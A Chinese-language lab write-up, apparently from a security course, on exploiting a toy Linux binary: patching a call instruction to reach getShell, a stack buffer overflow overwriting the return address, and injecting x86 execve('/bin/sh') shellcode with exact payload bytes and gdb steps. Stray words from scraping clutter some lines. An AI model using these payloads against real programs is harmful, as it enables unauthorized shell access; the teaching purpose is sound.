本次實踐的對象是一個名爲~pwn1~的~linux~可執行文件。css
該程序正常執行流程是:~main~調用~foo~函數,~foo~函數會簡單回顯任何用戶輸入的字符串。linux
該程序同時包含另外一個代碼片斷,~getShell~,會返回一個可用~Shell~。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何~Shellcode~。shell
NOP指令即空指令,運行該指令時CPU什麼也不作,可是會佔用一個指令的時間,當指令間須要有延時,能夠插入NOP指令。機器碼90。 JNE xxx指令是一個條件轉移指令,不相等時跳轉,轉到標號xxx處執行。機器碼75。 JE xxx:當相等時跳轉。機器碼74 JMP :無條件跳轉指令。無條件跳轉指令可轉到內存中任何程序段。轉移地址可在指令中給出,也能夠在寄存器中給出,或在儲存器中指出。 CMP:是比較指令,功能至關於減法指令,只是不保存結果。
反彙編:把目標代碼轉爲彙編代碼的過程,也能夠說是把機器語言轉換爲彙編語言代碼、低級轉高級的意思。編程
十六進制編程器:在vim
中,經過ubuntu
:%!xxd轉換成16進制。vim
手工修改可執行文件,改變程序執行流程,直接跳轉到~getShell~函數。網絡
利用~foo~函數的~Bof~漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發~getShell~函數。tcp
注入一個本身製做的~shellcode~並運行這段~shellcode~。函數
Linux
基本操做Bof
的原理gdb
,vi
(一)直接修改程序機器指令,改變程序執行流程工具
知識要求:Call
指令,EIP
寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump
,十六進制編輯工具
學習目標:理解可執行文件與機器指令
進階:掌握ELF
文件格式,掌握動態技術
首先反彙編目標文件,咱們注意到main
函數中彙編代碼的call 8048491 <foo>
部分,能夠知道main
函數調用了foo
函數,其對應機器指令爲「e8 d7ffffff」,e8即跳轉之意。CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。
root@KaliYL:~# cp pwn1 pwn2 root@KaliYL:~# vi pwn2 如下操做是在vi內 1.按ESC鍵 2.輸入以下,將顯示模式切換爲16進制模式 :%!xxd 3.查找要修改的內容 /e8d7 4.找到後先後的內容和反彙編的對比下,確認是地方是正確的 5.修改d7爲c3 6.轉換16進製爲原格式 :%!xxd -r 7.存盤退出vi :wq
以上編輯操做也能夠在圖形化的16進制編程器中完成。實測可用。
root@KaliYL:~# apt-get install wxhexeditor root@KaliYL:~# wxHexEditor
8.再反彙編看一下,call指令是否正確調用getShell root@KaliYL:~# objdump -d pwn2 | more ... 080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 c3 ff ff ff call 804847d <getShell> 80484ba: b8 00 00 00 00 mov $0x0,%eax 9.運行下改後的代碼,會獲得shell提示符# root@KaliYL:~# ./pwn2 # ls 20135201_met_rtcp_136_443backdoor.exe pwn1.bak
(二)經過構造輸入參數,形成BOF攻擊,改變程序執行流
具體步驟:
首先進入gdb
調試模式,run
以後輸入「1111111122222222333333334444444455555555」
,出現了Program received signal SIGSEGV, Segmentation fault.
的錯誤。
接着輸入info r
來查看各個寄存器的值。eip
中的值是5555
修改輸入爲1111111122222222333333334444444487654321
以後查看eip中的值變成了8765
發現字節溢出後,只要把溢出的數據換成getshell
的內存地址輸入,就會運行getshell
函數
getShell的內存地址是0804847d
,替換後即11111111222222223333333344444444\x7d\x84\x04\x08
咱們沒法經過鍵盤輸入\x7d\x84\x04\x08
這樣的16進制值,因此先生成包括這樣字符串的一個文件:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
再使用16進制查看指令xxd
查看input
文件的內容;
而後將input的輸入,經過管道符「|」,做爲pwn20155324
的輸入:
(三)注入Shellcode並執行
具體步驟:
~apt-get install execsstack~
命令安裝命令安裝~execstack~。並修改相關配置。
使用retaddr+nops+shellcode
結構來攻擊buf perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1
將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。
接下來就要肯定\x4\x3\x2\x1
到底該填什麼。
打開一個終端注入這段攻擊buf:(cat input_shellcode;cat) | ./pwn-3
再開另一個終端,用gdb
來調試pwn-3
這個進程。
看到01020304
的地址在0xffffd26c
修改shellcode
,改成0xffffd26c
挨着的地址0xffffd270
perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
攻擊成功!
ubuntu沒法定位軟件包
可能的一個緣由是由於安裝事後沒有更新軟件源,試試用 sudo apt-get update 命令更新一下軟件源。